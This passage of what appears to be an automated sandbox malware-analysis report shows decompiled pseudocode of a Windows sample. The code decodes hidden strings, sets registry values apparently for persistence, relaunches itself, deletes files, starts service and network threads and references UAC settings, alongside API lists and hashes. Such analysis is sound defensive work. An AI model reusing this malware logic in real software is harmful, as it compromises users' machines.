										_t331 = E00402544(_t459,  &E004106AC, 0x2e, 0xe4, 0xc8);
										_t471 = _t470 + 0x14;
										_t332 = RegOpenKeyExA(0x80000001, _t331, 0, 0x103,  &_v24);
										_v20 = _t332;
										__eflags = _t332;
										if(_t332 == 0) {
											_t373 =  &(_a12[1]);
											__eflags = _t373;
											_v20 = RegSetValueExA(_v24,  &_v112, 0, 1,  &_v1272, _t373);
											RegCloseKey(_v24);
										}
										E0040EE2A(_t438, _t459, 0, _t454);
										E0040EE2A(_t438,  &_v772, 0, 0x44);
										_v772.cb = 0x44;
										E0040EE2A(_t438,  &_v64, 0, 0x10);
										_t469 = _t471 + 0x24;
										_t340 = GetModuleFileNameA(GetModuleHandleA(0),  &_v372, 0x104);
										__eflags = _t340;
										if(_t340 != 0) {
											__eflags = _v372 - 0x22;
											_t357 =  &_v372;
											_v40 = _t357;
											if(_v372 == 0x22) {
												_t357 =  &_v371;
												_v40 = _t357;
											}
											__eflags =  *((char*)(_t357 + 1)) - 0x3a;
											if( *((char*)(_t357 + 1)) == 0x3a) {
												__eflags =  *((char*)(_t357 + 2)) - 0x5c;
												if( *((char*)(_t357 + 2)) == 0x5c) {
													_t358 = _v40;
													_t438 = _t358[3];
													_a15 = _t358[3];
													_t358[3] = 0;
													_t359 = GetDriveTypeA(_t358);
													__eflags = _t359 - 2;
													if(_t359 != 2) {
														_t438 = _v40;
														_v40[3] = _a15;
														lstrcatA( &_v1272, E00402544(_t459, 0x410a38, 4, 0xe4, 0xc8));
														E0040EE2A(_v40, _t459, 0, _t454);
														_t469 = _t469 + 0x20;
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														lstrcatA( &_v1272,  &_v372);
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														_v36 = 1;
													}
												}
											}
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags = _v28;
											if(_v28 != 0) {
												wsprintfA( &_v372, "%X%08X", _v28, _v32);
												lstrcatA( &_v1272, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
												E0040EE2A(_t438, _t459, 0, _t454);
												_t469 = _t469 + 0x30;
												lstrcatA( &_v1272,  &_v372);
											}
										}
										_t344 = CreateProcessA(0,  &_v1272, 0, 0, 0, 0x8000000, 0, 0,  &_v772,  &_v64);
										__eflags = _t344;
										if(_t344 == 0) {
											DeleteFileA( &_v672);
											_v36 = 0;
										}
										__eflags = _v16 - 1;
										if(_v16 == 1) {
											__eflags = _v20;
											if(_v20 == 0) {
												E004096FF(_t438);
											}
										}
										goto L82;
									}
									__eflags = _v112;
									if(_v112 != 0) {
										goto L61;
									}
									goto L60;
								}
								_t379 = GetTempPathA(0x1f4,  &_v1272);
								_t494 = _t379;
								if(_t379 == 0) {
									goto L55;
								}
								_t383 = E004099D2(_t449, _t494,  &_v1272,  &_v672,  &_v704, _v8, _v12); // executed
								_t467 = _t467 + 0x14;
								if(_t383 == 0) {
									goto L55;
								}
								_v80 = 0;
								if(_v16 < 3 || _v372 == 0) {
									_push(0);
									_push( &_v80);
									_push(E00406DC2(_t438) ^ 0x5e5e5e5e);
									E0040F133();
									_t474 = _t467 + 0xc;
									lstrcpyA( &_v372, E00406CC9(_t438));
									lstrcatA( &_v372,  &_v80);
									lstrcatA( &_v372,  &E0041070C);
									_t396 = 0;
									__eflags = 0;
									goto L43;
								} else {
									_t410 =  &_v372;
									_t450 = _t410 + 1;
									do {
										_t441 =  *_t410;
										_t410 = _t410 + 1;
									} while (_t441 != 0);
									_t411 = _t410 - _t450;
									if(_t411 > 0 &&  *((char*)(_t464 + _t411 - 0x171)) == 0x5c) {
										_t411 = _t411 - 1;
									}
									_t451 = _t411;
									if(_t411 <= 0) {
										L41:
										_t449 = _t451 - _t411;
										_a12 = _t451 - _t411;
										E0040EE08( &_v80, _t464 + _t411 - 0x170, _t451 - _t411);
										 *((char*)(_t464 + _a12 - 0x4c)) = 0;
										_t474 = _t467 + 0xc;
										_t396 = 1;
										L43:
										if(_v44 == 0 || _v48 < 0x50) {
											_t438 = 1;
											__eflags = 1;
										} else {
											_t438 = 0;
										}
										_push(_t438);
										_push(_t396);
										_push( &_v372);
										_push( &_v80);
										_push( &_v672);
										_push( &_v704);
										_t401 = E00409326(_t438, _t449);
										_t467 = _t474 + 0x18;
										if(_t401 == 0) {
											_t402 =  *0x41217c; // 0x0
											_v32 = _t402;
											_t403 =  *0x412180; // 0x0
											goto L54;
										} else {
											if(GetFileAttributesExA( &_v672, 0,  &(_v772.dwXCountChars)) != 0) {
												_t403 = 0x5e060108;
												 *0x412180 = 0x5e060108;
												 *0x41217c = 0;
												_v32 = 0;
												L54:
												_v28 = _t403;
												DeleteFileA( &_v672);
												goto L55;
											}
											_t459 = 1;
											if(_v16 == 1) {
												E004096FF(_t438);
											}
											_v36 = _t459;
											goto L83;
										}
									} else {
										_t442 =  &_v372;
										while( *((char*)(_t442 + _t411 - 1)) != 0x5c) {
											_t411 = _t411 - 1;
											if(_t411 > 0) {
												continue;
											}
											goto L41;
										}
										goto L41;
									}
								}
							}
						}
					}
					_t417 = _v8;
					_t454 = _t417 + 3;
					_v372 = 0;
					if( *((char*)(_t417 + 3)) != 0x22) {
						_t418 = E0040ED03(_t454, 0x20);
						_pop(_t438);
						__eflags = _t418;
						if(_t418 == 0) {
							_t418 =  &(_a12[lstrlenA(_a12)]);
							__eflags = _t418;
						}
						_t459 = _t418 - _v8;
						__eflags = _t459;
						E0040EE08( &_v372, _t454, _t459 - 3);
						 *((char*)(_t464 + _t459 - 0x173)) = 0;
						L13:
						_t467 = _t467 + 0xc;
						L14:
						if(_v372 != 0 && _v672 != 0) {
							_t424 = E0040675C( &_v672,  &_v12, 0);
							_t467 = _t467 + 0xc;
							if(_t424 != 0 && _v12 != 0) {
								_t426 = E00406A60(_t449,  &_v372, _t424, _v12);
								_t467 = _t467 + 0xc;
								_v12 = _t426;
							}
						}
						goto L19;
					}
					_t454 = _t417 + 4;
					_t428 = E0040ED03(_t417 + 4, 0x22);
					_pop(_t438);
					if(_t428 == 0) {
						goto L14;
					} else {
						_t459 = _t428 - _v8;
						E0040EE08( &_v372, _t454, _t459 - 4);
						 *((char*)(_t464 + _t459 - 0x174)) = 0;
						goto L13;
					}
				}
			}

0x00409a7f
0x00409a83
0x00409a8a
0x00409a90
0x00409a97
0x00409a9d
0x0040a3cc
0x0040a3d2
0x0040a41c
0x0040a42c
0x0040a43a
0x0040a440
0x0040a448
0x0040a452
0x0040a45a
0x0040a469
0x0040a46b
0x0040a470
0x0040a475
0x0040a47a
0x0040a48a
0x0040a48c
0x0040a497
0x0040a497
0x0040a49d
0x00000000
0x00000000
0x0040a49f
0x0040a4a7
0x0040a4ac
0x0040a4be
0x0040a4c3
0x00000000
0x0040a4c3
0x0040a4ae
0x0040a4ae
0x0040a4b3
0x0040a4b5
0x0040a4b9
0x0040a4b9
0x00000000
0x0040a4b5
0x0040a497
0x0040a3da
0x0040a406
0x0040a407
0x0040a409
0x0040a40b
0x00000000
0x00000000
0x0040a3e8
0x0040a3eb
0x00000000
0x00000000
0x0040a3ed
0x0040a3f3
0x0040a3f6
0x00000000
0x00000000
0x0040a3f8
0x0040a3f8
0x0040a3f8
0x0040a400
0x0040a400
0x0040a414
0x0040a419
0x00000000
0x00409aa3
0x00409ab0
0x00409ac2
0x00409ac4
0x00409ac4
0x00409ad1
0x00409ae1
0x00409aef
0x00409af4
0x00409af9
0x00409afb
0x00409afb
0x00409af9
0x00409afd
0x00409b14
0x00409b1a
0x00409b26
0x00409b2b
0x00409b33
0x00409b36
0x00409b3b
0x00409b41
0x00409c26
0x00409c2b
0x00409c2e
0x00409c33
0x0040a1de
0x0040a1e4
0x0040a1fd
0x0040a211
0x0040a214
0x0040a219
0x0040a21c
0x0040a21f
0x0040a2e2
0x0040a305
0x0040a308
0x0040a30d
0x0040a310
0x0040a313
0x0040a35a
0x0040a35a
0x0040a35f
0x0040a361
0x0040a3c2
0x00409c05
0x00409c06
0x00409c06
0x0040a363
0x0040a369
0x0040a397
0x0040a397
0x0040a39d
0x0040a3a3
0x0040a3aa
0x0040a3b1
0x0040a3b4
0x0040a3b7
0x00000000
0x0040a3b7
0x0040a36b
0x0040a371
0x0040a374
0x0040a374
0x0040a376
0x0040a377
0x0040a377
0x0040a37d
0x0040a380
0x00000000
0x00000000
0x0040a38e
0x0040a394
0x00000000
0x0040a394
0x0040a318
0x0040a31e
0x0040a324
0x0040a325
0x0040a327
0x0040a339
0x0040a33b
0x0040a33d
0x0040a340
0x0040a344
0x0040a344
0x0040a34c
0x0040a351
0x0040a354
0x00000000
0x0040a354
0x0040a329
0x0040a32b
0x0040a32e
0x0040a32e
0x0040a330
0x0040a331
0x0040a331
0x0040a337
0x0040a337
0x00000000
0x0040a337
0x0040a228
0x0040a22b
0x0040a231
0x0040a234
0x0040a237
0x0040a27a
0x0040a280
0x0040a281
0x0040a283
0x0040a28e
0x0040a28e
0x0040a28e
0x0040a291
0x0040a294
0x0040a297
0x0040a2a5
0x0040a2ad
0x0040a2b4
0x0040a2b4
0x0040a2b7
0x0040a2b7
0x0040a2bd
0x0040a2d0
0x0040a2d5
0x0040a2d5
0x0040a2d8
0x00000000
0x0040a2d8
0x0040a242
0x0040a245
0x0040a24b
0x0040a24c
0x0040a24e
0x00000000
0x00000000
0x0040a253
0x0040a264
0x0040a26c
0x00000000
0x0040a26c
0x00409c39
0x00409c3f
0x0040a167
0x0040a183
0x0040a190
0x0040a196
0x0040a198
0x0040a198
0x0040a1a2
0x0040a1b3
0x0040a1b6
0x0040a1bc
0x0040a1bf
0x0040a1c7
0x0040a1cc
0x0040a1cc
0x0040a1bf
0x0040a1a2
0x00000000
0x00409c54
0x00409c56
0x00409c5b
0x00409c62
0x00000000
0x00000000
0x00409c74
0x00409c79
0x00409c7c
0x00409c81
0x00000000
0x00409c90
0x00409c94
0x00409c97
0x00409c9a
0x00409e3e
0x00409e3e
0x00409e42
0x0040a155
0x0040a158
0x0040a15d
0x0040a161
0x00000000
0x00000000
0x00000000
0x0040a161
0x00409e66
0x00409e6b
0x00409e75
0x00409e77
0x0040a14a
0x0040a14d
0x0040a152
0x00000000
0x0040a152
0x00409e98
0x00409e9d
0x00409ea0
0x00409ea2
0x00000000
0x00000000
0x00409eab
0x00409eb0
0x00409ec1
0x00409ec8
0x00409ed5
0x00409edb
0x00409ee3
0x00409ee4
0x00409ee8
0x00409eeb
0x00409ef2
0x00409ef9
0x00409efc
0x00409efd
0x00409f03
0x00409f03
0x00409f08
0x00409f09
0x00409f0e
0x00409f11
0x00409f2d
0x00409f32
0x00409f3b
0x00409f41
0x00409f44
0x00409f46
0x00409f4b
0x00409f4b
0x00409f67
0x00409f6a
0x00409f6a
0x00409f73
0x00409f82
0x00409f8e
0x00409f98
0x00409f9d
0x00409fb4
0x00409fba
0x00409fbc
0x00409fc2
0x00409fc9
0x00409fcf
0x00409fd2
0x00409fd4
0x00409fda
0x00409fda
0x00409fdd
0x00409fe1
0x00409fe7
0x00409feb
0x00409ff1
0x00409ff4
0x00409ff8
0x00409ffb
0x00409ffe
0x0040a004
0x0040a007
0x0040a010
0x0040a025
0x0040a038
0x0040a041
0x0040a046
0x0040a049
0x0040a050
0x0040a05e
0x0040a05e
0x0040a072
0x0040a078
0x0040a07f
0x0040a08d
0x0040a08d
0x0040a093
0x0040a093
0x0040a007
0x00409feb
0x00409fe1
0x0040a09a
0x0040a09d
0x0040a09f
0x0040a0a2
0x0040a0b6
0x0040a0de
0x0040a0e7
0x0040a0ec
0x0040a0fd
0x0040a0fd
0x0040a0a2
0x0040a120
0x0040a126
0x0040a128
0x0040a131
0x0040a137
0x0040a137
0x0040a13a
0x0040a13e
0x0040a140
0x0040a143
0x0040a145
0x0040a145
0x0040a143
0x00000000
0x0040a13e
0x00409ef4
0x00409ef7
0x00000000
0x00000000
0x00000000
0x00409ef7
0x00409cac
0x00409cb2
0x00409cb4
0x00000000
0x00000000
0x00409cd5
0x00409cda
0x00409cdf
0x00000000
0x00000000
0x00409ce9
0x00409cec
0x00409d58
0x00409d59
0x00409d64
0x00409d65
0x00409d6a
0x00409d7a
0x00409d8b
0x00409d9d
0x00409da3
0x00409da3
0x00000000
0x00409cf6
0x00409cf6
0x00409cfc
0x00409cff
0x00409cff
0x00409d01
0x00409d02
0x00409d06
0x00409d0a
0x00409d16
0x00409d16
0x00409d17
0x00409d1b
0x00409d2f
0x00409d2f
0x00409d3e
0x00409d41
0x00409d49
0x00409d4f
0x00409d52
0x00409da5
0x00409da8
0x00409db6
0x00409db6
0x00409db0
0x00409db0
0x00409db0
0x00409db7
0x00409db8
0x00409dbf
0x00409dc3
0x00409dca
0x00409dd1
0x00409dd2
0x00409dd7
0x00409ddc
0x00409e21
0x00409e26
0x00409e29
0x00000000
0x00409dde
0x00409df5
0x00409e0c
0x00409e11
0x00409e16
0x00409e1c
0x00409e2e
0x00409e2e
0x00409e38
0x00000000
0x00409e38
0x00409df9
0x00409dfd
0x00409dff
0x00409dff
0x00409e04
0x00000000
0x00409e04
0x00409d1d
0x00409d1d
0x00409d23
0x00409d2a
0x00409d2d
0x00000000
0x00000000
0x00000000
0x00409d2d
0x00000000
0x00409d23
0x00409d1b
0x00409cec
0x00409c81
0x00409c3f
0x00409b47
0x00409b4a
0x00409b4d
0x00409b56
0x00409b8b
0x00409b91
0x00409b92
0x00409b94
0x00409b9f
0x00409b9f
0x00409b9f
0x00409ba4
0x00409ba4
0x00409bb3
0x00409bb8
0x00409bbf
0x00409bbf
0x00409bc2
0x00409bc8
0x00409bde
0x00409be3
0x00409be8
0x00409bfa
0x00409bff
0x00409c02
0x00409c02
0x00409be8
0x00000000
0x00409bc8
0x00409b58
0x00409b5e
0x00409b64
0x00409b67
0x00000000
0x00409b69
0x00409b6b
0x00409b7a
0x00409b7f
0x00000000
0x00409b7f
0x00409b67

APIs

SetErrorMode.KERNELBASE(00000003), ref: 00409A7F
SetErrorMode.KERNELBASE(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNELBASE(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32(00000000,00000022,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(004133D8), ref: 0040A407
CreateThread.KERNEL32(00000000,00000000,0040405E,00000000,00000000,00000000), ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32(00000000,00000000,0040877E,00000000,00000000,00000000), ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00002710), ref: 0040A4C3

Strings

P, xrefs: 00409DAA
D, xrefs: 00409F8E
", xrefs: 0040A189
", xrefs: 0040A078
\, xrefs: 00409D0C
", xrefs: 00409EDB
PromptOnSecureDesktop, xrefs: 00409B14, 00409B19, 00409B32, 00409E65, 00409EAA, 00409F2C, 00409F72, 0040A024, 0040A040, 0040A0CD, 0040A0E6, 0040A14C, 0040A1FC, 0040A210, 0040A2F3, 0040A304
%X%08X, xrefs: 0040A0B0

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$D$P$PromptOnSecureDesktop$\
API String ID: 2089075347-2824936573
Opcode ID: 41e5c5ddbc7265faa0be02735b2f58a27315df27097057c7cba63ec9e82be809
Instruction ID: 854f92f710d489262c02351978cf0e467b62b472cea35bfdd38dff102a78baab
Opcode Fuzzy Hash: 41e5c5ddbc7265faa0be02735b2f58a27315df27097057c7cba63ec9e82be809
Instruction Fuzzy Hash: AB5291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBCC, Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EBCC(long _a4) {
				void* _t3;
				void* _t7;

				_t3 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t3;
				E0040EB74(_t7);
				return _t7;
			}

0x0040ebda
0x0040ebe0
0x0040ebe3
0x0040ebec

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Part of subcall function 0040EB74: GetProcessHeap.KERNEL32(00000000,00000000,0040EC28,00000000,?,0040DB55,7FFF0001), ref: 0040EB81
Part of subcall function 0040EB74: HeapSize.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EB88

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$Process$AllocateSize
String ID:
API String ID: 2559512979-0
Opcode ID: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction ID: 42103369b453d960252fa070f8f6fdc0a0ffae9c693debdf4c74a5c852f77059
Opcode Fuzzy Hash: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction Fuzzy Hash: 54C0803210422077C60127A57C0CEDA3E74DF04352F084425F505C1160CB794880879D

Uniqueness

Uniqueness Score: -1.00%

Function 0041D6A0, Relevance: 54.5, APIs: 26, Strings: 5, Instructions: 267memorylibrarystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00438B20), ref: 0041D6C0
GetFileType.KERNEL32(00000000), ref: 0041D738
SetCommState.KERNEL32(00000000,?), ref: 0041D7DA
GetQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041D7F9
IsProcessorFeaturePresent.KERNEL32(00000000), ref: 0041D801
GetComboBoxInfo.USER32(00000000,00000000), ref: 0041D843
GetLastError.KERNEL32 ref: 0041D849
LoadLibraryA.KERNEL32(004251E0), ref: 0041D8DB
GlobalFix.KERNEL32(00000000), ref: 0041D8E3
GlobalSize.KERNEL32(00000000), ref: 0041D8EB
GetLastError.KERNEL32 ref: 0041D8F1
LocalAlloc.KERNELBASE(00000000,02B3E644), ref: 0041D901
SetThreadLocale.KERNEL32(00000000), ref: 0041D941
HeapSetInformation.KERNEL32(00000000,?,00000000,00000000), ref: 0041D954
EnumResourceNamesA.KERNEL32(00000000,004251FC,00000000,00000000), ref: 0041D99A
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041D9A2
GetConsoleAliasExesLengthW.KERNEL32 ref: 0041D9CC
SetLocalTime.KERNEL32(00000000), ref: 0041D9D4
GetPrivateProfileIntA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041DA19
GetStringTypeW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041DA27
GetStartupInfoA.KERNEL32(00000000), ref: 0041DA2F
InterlockedDecrement.KERNEL32(?), ref: 0041DA51
FindAtomW.KERNEL32(00425210), ref: 0041DA91
ReadConsoleA.KERNEL32(00425254,00000000,00000000,00000000,00000000), ref: 0041DAEB
CopyFileExW.KERNEL32(004252F8,00425260,00000000,00000000,00000000,00000000), ref: 0041DB03
WritePrivateProfileStringA.KERNEL32(00425370,0042534C,00425338,?), ref: 0041DB1F

Strings

supapegulisihedigunaxekapiwu, xrefs: 0041D6D6
";, xrefs: 0041D9A8
&Pc, xrefs: 0041DAA5
onI, xrefs: 0041D8A3
Pc, xrefs: 0041DA65

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: ConsoleErrorFileGlobalInfoLastLocalPrivateProfileStringType$AliasAllocAtomComboCommCompletionCopyDecrementEnumEnvironmentExesFeatureFindFreeHeapInformationInterlockedLengthLibraryLoadLocaleNamesPresentProcessorQueuedReadResourceSizeStartupStateStatusStringsThreadTimeWritelstrlen
String ID: ";$&Pc$Pc$onI$supapegulisihedigunaxekapiwu
API String ID: 4123461838-2910145538
Opcode ID: d4bd294ce940bb23a6d72ade7024a2d73342ce5b0cdfbafcc4a8cde5487e6e20
Instruction ID: 0973f346303b6b4374496d347c775057df32db7e71eef6c469a3349628a3fa3b
Opcode Fuzzy Hash: d4bd294ce940bb23a6d72ade7024a2d73342ce5b0cdfbafcc4a8cde5487e6e20
Instruction Fuzzy Hash: C4B192B4E84224DBEB24DF51DC4ABE977B0FF04705F1480AAE549662C0CBB859C5CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041BBD0, Relevance: 33.8, APIs: 3, Strings: 16, Instructions: 511librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00424E24), ref: 0041BC08
GetProcAddress.KERNEL32(02B3E640,00438B20), ref: 0041CB2B
VirtualProtect.KERNELBASE(02B36788,02B3E644,00000040,?), ref: 0041CB4E

Strings

@, xrefs: 0041CA88
k/^, xrefs: 0041C0F2
FW,(, xrefs: 0041BD2C
|~, xrefs: 0041BFE2
Ig, xrefs: 0041C25A
T, xrefs: 0041C37F
[(, xrefs: 0041C36B
lh;_, xrefs: 0041BCAD
Dx8|, xrefs: 0041BCB7
>e] , xrefs: 0041C1C6
CWv, xrefs: 0041BCD5
H/P, xrefs: 0041C4F5
PV, xrefs: 0041C00A
9o, xrefs: 0041BD8A
g$0, xrefs: 0041BE28
y]n6, xrefs: 0041C0F9

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: g$0$PV$>e] $@$Dx8|$FW,($Ig$T$[($k/^$lh;_$y]n6$9o$CWv$H/P$|~
API String ID: 2099061454-2747951279
Opcode ID: 7ca879f404c174721cced6a4ebea1a448d364cb9786df27d405576e2190b058e
Instruction ID: 0d068c0bde58644b2d56e9992d5aaaf17a6e2397ee2dc19298be064981a6eec1
Opcode Fuzzy Hash: 7ca879f404c174721cced6a4ebea1a448d364cb9786df27d405576e2190b058e
Instruction Fuzzy Hash: 3C72E9B5E013698FDBA48F6A99897CCFBB0BB15314F5482C8E4497A611CB318EC5CF46

Uniqueness

Uniqueness Score: -1.00%

Function 004073FF, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345
registryCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E004073FF(void* __ecx, intOrPtr* _a4, signed int* _a8, int** _a12, char* _a16, char* _a20) {
				CHAR* _v8;
				void* _v12;
				int _v16;
				void* _v20;
				int* _v24;
				char* _v28;
				intOrPtr _v32;
				int _v36;
				char _v295;
				char _v296;
				char _v556;
				void _v592;
				intOrPtr* _t85;
				int** _t86;
				char* _t87;
				char* _t88;
				intOrPtr _t89;
				char* _t91;
				long _t92;
				signed int _t93;
				long _t97;
				signed int _t103;
				long _t107;
				char* _t118;
				intOrPtr* _t119;
				CHAR* _t123;
				void* _t125;
				char* _t127;
				intOrPtr* _t134;
				void* _t136;
				intOrPtr _t137;
				signed int* _t146;
				int** _t147;
				void* _t160;
				signed int _t163;
				intOrPtr _t164;
				void* _t165;
				intOrPtr _t167;
				intOrPtr _t172;
				intOrPtr* _t173;
				void* _t186;
				intOrPtr _t187;
				int* _t188;
				void* _t190;
				void* _t191;
				char* _t192;
				signed int _t194;
				int* _t196;
				void* _t202;
				void* _t203;
				void* _t204;
				void* _t206;

				_t165 = __ecx;
				_t85 = _a8;
				_t188 = 0;
				_v16 = 0x104;
				if(_t85 != 0) {
					 *_t85 = 0;
				}
				_t86 = _a12;
				if(_t86 != _t188) {
					 *_t86 = _t188;
				}
				_t87 = _a16;
				if(_t87 != _t188) {
					 *_t87 = 0;
				}
				_t88 = _a20;
				if(_t88 != _t188) {
					 *_t88 = 0; // executed
				}
				_t89 = E00406DC2(_t165); // executed
				_v32 = _t89;
				_t160 = 0xe4;
				_t91 = E00402544(0x4122f8, 0x4106e8, 0x22, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t92 = RegOpenKeyExA(0x80000002, _t91, _t188, 0x20119,  &_v20); // executed
				_push(0x100);
				_push(_t188);
				_push(0x4122f8);
				if(_t92 != 0) {
					_t93 = E0040EE2A(_t165);
					goto L66;
				} else {
					E0040EE2A(_t165);
					_t206 = _t204 + 0xc;
					_push(_v16);
					_push( &_v556);
					_v24 = _t188;
					_push(_t188);
					while(1) {
						_t97 = RegEnumKeyA(_v20, ??, ??, ??); // executed
						if(_t97 != 0) {
							break;
						}
						if(E00406CAD( &_v556) == 0) {
							L41:
							_v24 =  &(_v24[0]);
							_push(0x104);
							_v16 = 0x104;
							_push( &_v556);
							_push(_v24);
							continue;
						}
						_t103 = E0040F1A5( &_v556);
						_pop(_t167);
						if((_t103 ^ 0x5e5e5e5e) != _v32) {
							goto L41;
						}
						_v12 = _t188;
						_v16 = 0x104;
						_t107 = RegOpenKeyExA(_v20,  &_v556, _t188, 0x101,  &_v12);
						if(_t107 != _t188) {
							L45:
							if(_t107 != 5) {
								L50:
								E0040EE2A(_t167, 0x4122f8, _t188, 0x100);
								_t206 = _t206 + 0xc;
								L39:
								if(_v12 != _t188) {
									RegCloseKey(_v12);
								}
								goto L41;
							}
							E0040EF00(_a16,  &_v556);
							if(_v12 != _t188) {
								RegCloseKey(_v12);
							}
							_push(4);
							_pop(0);
							L64:
							RegCloseKey(_v20);
							return 0;
						}
						_t118 = E00402544(0x4122f8, 0x4106dc, 0xa, _t160, 0xc8);
						_t206 = _t206 + 0x14;
						_t107 = RegQueryValueExA(_v12, _t118, _t188,  &_v36,  &_v296,  &_v16);
						if(_t107 != _t188) {
							goto L45;
						}
